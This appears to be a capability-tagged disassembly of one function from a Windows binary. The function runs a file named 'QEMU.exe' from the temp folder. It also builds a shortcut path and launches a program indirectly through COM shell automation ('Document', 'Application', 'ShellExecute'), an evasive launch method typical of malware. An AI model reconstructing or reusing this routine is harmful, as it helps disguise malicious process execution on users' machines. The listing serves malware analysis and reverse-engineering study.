Function at 0x10002890
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x628
lea eax, [ebp - 0x31c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.10002780
push eax
lea ecx, [ebp - 0x31c]
push ecx
push str._s_QEMU.exe
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x218]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0x10021220
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov dword [ebp - 4], eax
push 0
push 0
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x218]
push ecx
push str._sQQ_
push 0xffffffffffffffff
push 0x104
lea edx, [ebp - 0x218]
push edx
call fcn.10001230
add esp, 0x14
push 0x44
push 0
lea eax, [ebp - 0x114]
push eax
call fcn.10009310
add esp, 0xc
mov dword [ebp - 0x114], 0x44
push 0x10
push 0
lea ecx, [ebp - 0xd0]
push ecx
call fcn.10009310
add esp, 0xc
lea edx, [ebp - 0xd0]
push edx
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10002995
mov eax, 1
jmp 0x10002d58
call fcn.10002780
push eax
lea edx, [ebp - 0x31c]
push edx
push str._s_s.lnk
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x420]
push ecx
push str.__s_
lea edx, [ebp - 0x524]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D_s
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x38], 0xc08afd90
mov edx, 0xf2a1
mov word [ebp - 0x34], dx
mov eax, 0x11d1
mov word [ebp - 0x32], ax
mov byte [ebp - 0x30], 0x84
mov byte [ebp - 0x2f], 0x55
mov byte [ebp - 0x2e], 0
mov byte [ebp - 0x2d], 0xa0
mov byte [ebp - 0x2c], 0xc9
mov byte [ebp - 0x2b], 0x1f
mov byte [ebp - 0x2a], 0x38
mov byte [ebp - 0x29], 0x80
mov dword [ebp - 0x28], 0xd30c1661
mov ecx, 0xcdaf
mov word [ebp - 0x24], cx
mov edx, 0x11d0
mov word [ebp - 0x22], dx
mov byte [ebp - 0x20], 0x8a
mov byte [ebp - 0x1f], 0x3e
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x1d], 0xc0
mov byte [ebp - 0x1c], 0x4f
mov byte [ebp - 0x1b], 0xc9
mov byte [ebp - 0x1a], 0xe2
mov byte [ebp - 0x19], 0x6e
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d50
mov dword [ebp - 0x7c], str.Document
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x80], edx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
push 1
lea edx, [ebp - 0x7c]
push edx
push 0x10021230
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0x80]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d03
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x4c], ecx
push 0
push 0
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x90]
push eax
push 2
push 0x400
push 0x10021230
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 0x4c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d03
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x54], str.Application
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x58], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x50]
push edx
push 1
lea eax, [ebp - 0x54]
push eax
push 0x10021230
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 0x58]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d03
lea edx, [ebp - 0x48]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x5c], edx
push 0
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x90]
push ecx
push 2
push 0x400
push 0x10021230
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x5c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d03
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x64], str.ShellExecute
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x68], ecx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 0x60], eax
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x60]
push eax
push 1
lea ecx, [ebp - 0x64]
push ecx
push 0x10021230
mov edx, dword [ebp - 0x14]
push edx
call dword [ebp - 0x68]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x10002d03
mov eax, 0x10
imul ecx, eax, 0
mov edx, 8
mov word [ebp + ecx - 0xc0], dx
lea eax, [ebp - 0x524]
push eax
call fcn.10002800
add esp, 4
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x10
imul edx, ecx, 0
mov dword [ebp + edx - 0xb8], eax
mov eax, 0x10
shl eax, 0
mov ecx, 8
mov word [ebp + eax - 0xc0], cx
lea edx, [ebp - 0x628]
push edx
call fcn.10002800
add esp, 4
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x10
shl ecx, 0
mov dword [ebp + ecx - 0xb8], eax
mov dword [ebp - 0x6c], 0xfffffffd
lea edx, [ebp - 0xc0]
mov dword [ebp - 0xa0], edx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], 2
mov dword [ebp - 0x94], 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x70], eax
push 0
push 0
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0xa0]
push edx
push 1
push 0x400
push 0x10021230
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [ebp - 0x70]
mov dword [ebp - 4], eax
lea edx, [ebp - 0x48]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x74], edx
push 0
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x90]
push ecx
push 1
push 0x400
push 0x10021230
push 0x12e
mov edx, dword [ebp - 8]
push edx
call dword [ebp - 0x74]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov esp, ebp
pop ebp
ret